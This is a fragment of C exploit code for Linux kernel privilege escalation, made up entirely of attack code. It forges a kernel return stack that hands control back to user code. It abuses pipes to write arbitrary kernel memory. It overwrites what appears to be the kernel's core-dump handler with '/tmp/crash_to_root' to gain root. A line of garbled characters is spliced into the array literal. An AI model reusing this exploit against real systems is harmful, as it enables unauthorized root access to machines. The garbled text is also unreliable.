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unsigned long new_stack[]={
  0xffffffff818252f2,
 
  0x1515151515151515,ÊÖ»úuÅÌÔõôÐÞ¸´¹¤¾ß 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  (unsigned long) post_corruption_user_code,
  0x33,
  0x246,
 
  (unsigned long) (post_corruption_user_stack + sizeof(post_corruption_user_stack)),
  0x2b
};
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void kernel_write(unsigned long addr, char *buf, size_t len) {
  int pipefds[2];
  if (pipe(pipefds))
    err(1, "pipe");
  if (write(pipefds[1], buf, len) !=len)
    errx(1, "pipe write");
  close(pipefds[1]);
  if (read(pipefds[0], (char*)addr, len) !=len)
    errx(1, "pipe read to kernelspace");
  close(pipefds[0]);
}
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char *core_handler="|/tmp/crash_to_root";
kernel_write(0xffffffff81e87a60, core_handler, strlen(core_handler)+1);
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